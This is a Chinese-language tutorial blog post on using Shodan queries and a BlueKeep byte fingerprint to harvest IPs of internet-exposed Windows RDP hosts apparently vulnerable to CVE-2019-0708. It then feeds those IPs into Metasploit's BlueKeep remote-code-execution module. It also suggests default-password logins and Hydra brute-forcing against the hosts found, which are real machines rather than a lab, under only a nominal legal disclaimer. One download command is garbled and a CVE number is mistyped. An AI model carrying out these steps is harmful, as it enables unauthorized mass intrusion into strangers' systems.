Shodan进阶使用之批量查找并验证漏洞


声明

本笔记内容参考了B站UP主 泷羽sec 的学习视频,若涉及侵权将立即删除。本笔记旨在方便网络安全学习,任何不当使用均与作者无关,请勿逾越法律红线,后果自负。


导语

在没有 Shodan 高级会员权限的情况下,无法使用 vuln 参数直接查找存在漏洞的主机,但通过灵活的搜索组合,我们依然可以实现对特定漏洞的设备定位。本次示例中将以 CVE-2019-0708(BlueKeep)漏洞为例,介绍如何利用 Shodan 的搜索功能筛选受影响的设备,并结合强大的 Metasploit 框架(msf)进行批量验证,帮助更高效地识别网络中的高危资产。

Shodan 提供了丰富的查询功能,通过关键词、端口、操作系统、特征指纹等条件的组合使用,即使在没有高级权限的情况下,也可以实现接近漏洞扫描的效果。结合 Metasploit 的批量验证功能,我们不仅可以快速找到受影响的设备,还可以进一步确认这些设备是否存在可利用的漏洞,为网络安全研究和防护提供切实支持。


一、漏洞信息收集

要搜索特定漏洞,首先需要详细了解该漏洞的特征信息,提取出相关的指纹,以便构建精确的查询条件。通过搜索引擎、GPT、漏洞数据库等,我们可以提炼出 CVE-2019-0708 的以下关键特征:

  1. 漏洞描述:此漏洞存在于 Windows 的远程桌面服务(Remote Desktop Services)中。
  2. 端口特征:通常影响开启 3389 端口的设备。
  3. 操作系统特征:受影响的系统包括 Windows 7、Windows Server 2008 R2、Windows XP 等。
  4. 探测方法:可通过发送特定的 RDP 请求,检测是否有异常响应来指示潜在的漏洞。
  5. 特征字符串:“\x03\x00\x00\x0b\x06\xd0\x00\x00\x124\x00”

二、构建 Shodan 搜索语句

结合漏洞特征和 Shodan 的搜索语法,接下来我们可以逐步构建查询条件,以实现有效的漏洞检测。

1. 指定端口

首先,限定端口为 3389,这是漏洞主要影响的端口:

port:3389

2. 指定操作系统

通过操作系统字段,我们可以筛选出 Windows 7 等受影响的系统:

os:"windows 7"

3. 指定漏洞条件

虽然无法直接使用 -vuln 参数,但我们可以结合 Shodan 提供的漏洞参数来进行条件组合:

has_vuln:true

4. 完整 Shodan 查询语句

综合以上条件,我们可以构造完整的 Shodan 查询命令:

shodan search --limit 10 --fields ip_str,port port:3389 os:"windows 7" has_vuln:true

此命令将返回包含指定漏洞的目标设备 IP 地址、端口等基本信息,并限制结果数量为 10 条。

除此之外,我们还可以将特征字符串作为搜索条件,查找可能存在 CVE-2019-0708 漏洞的主机:

shodan search --limit 10 --fields ip_str,port “\x03\x00\x00\x0b\x06\xd0\x00\x00\x124\x00”

搜素结果如下:
在这里插入图片描述


三、验证目标设备的漏洞状态

对于筛选出的结果,进一步使用 shodan host 命令逐个验证目标 IP 的详细信息,以确认漏洞状态。

示例验证命令

shodan host <目标IP>

执行后,Shodan 将返回该 IP 设备的详细信息,包括操作系统、开放端口、服务等,便于我们判断是否存在 CVE-2019-0708 漏洞。
在这里插入图片描述
可以看到这个IP的网络设备全是漏洞,也确实存在CVE-2019-07081漏洞。

提示:该实验仅供学习参考,请勿违反网络安全法!

针对该漏洞,我们也可以先尝试 Windows 远程桌面连接,看看主机是否存活。如设备可正常连接,可尝试测试弱口令登录(Administrator:Administrator),也可以通过Hydra等工具进行爆破。
在这里插入图片描述

使用mstsc命令来唤出远程桌面连接界面。这是“microsoft terminal services client”的缩写。


四、 使用 Shodan 批量下载与解析漏洞数据

下载搜索结果

可以将 Shodan 查询的结果保存到文件中,便于批量解析和进一步分析。例如,将查找到的可能存在 CVE-2019-0708 漏洞的设备保存至名为 0708 的文件:

shodan download 0708 --limit 10\x03\x00\x00\x0b\x06\xd0\x00\x00\x124\x00”

在这里插入图片描述

解析下载的数据

下载的文件为压缩格式,可以使用 shodan parse 命令解析出特定字段,并保存为文本文件。以下命令提取 IP 地址并保存到 0708.txt 中:

shodan parse --fields ip_str 0708.json.gz > 0708.txt

如需更多帮助,可使用 shodan parse -h 查看 parse 命令的详细帮助文档。

五、 使用 Metasploit 进行漏洞批量验证

Metasploit 是一款功能强大的安全工具,可批量检测目标设备是否存在指定漏洞。以下是使用 Metasploit 验证 CVE-2019-0708 的详细步骤。

1. 启动 Metasploit Console

在这里插入图片描述

在命令行中输入 msfconsole 进入 Metasploit 控制台,然后执行以下操作:

2. 搜索并使用漏洞模块

查找 CVE-2019-0708 漏洞的利用模块,并选择合适的模块:

search 0708
use exploit/windows/rdp/cve_2019_0708_bluekeep_rce

在这里插入图片描述

3. 设置选项

查看可配置参数并进行设置:

show options

在这里插入图片描述

  • 将目标 IP 文件添加到 RHOSTS 参数中,例如拖入包含 IP 地址的文件:
set RHOSTS file:<目标IP文件路径>
  • 使用 show targets 查看支持的操作系统,例如 Windows 7 和 Windows Server 2008 R2。设置 TARGET 为匹配的目标系统:
set TARGET <目标系统编号>

在这里插入图片描述

4. 检查漏洞

在开始利用之前,使用 check 命令来验证目标是否存在漏洞,避免不必要的攻击:

check

提示:确保 payload 的 IP 地址和端口正确匹配,否则会导致漏洞利用失败。

在这里插入图片描述

出现[+]代表漏洞存在可利用,[*]代表不可利用或漏洞不存在。
如果漏洞利用不成功,说明shodan扫出来的设备已经修复了这个漏洞,而shodan数据库里有关这部分的记录信息没有更新。



总结

即便没有高级会员权限,通过发散思维和灵活的语法组合,我们仍然可以在 Shodan 上实现特定漏洞的设备筛查。此方法对于预算有限的小白用户尤其实用,为安全研究人员提供了更多的探索空间。

通过 Shodan 和 Metasploit,可以在无高级权限的情况下,通过漏洞指纹精准查找并批量验证漏洞目标。需要注意的是,Shodan 搜索到的设备并不一定全部可被利用,需谨慎操作并在合法合规的前提下进行安全测试。

Logo

开放原子开发者工作坊旨在鼓励更多人参与开源活动,与志同道合的开发者们相互交流开发经验、分享开发心得、获取前沿技术趋势。工作坊有多种形式的开发者活动,如meetup、训练营等,主打技术交流,干货满满,真诚地邀请各位开发者共同参与!

更多推荐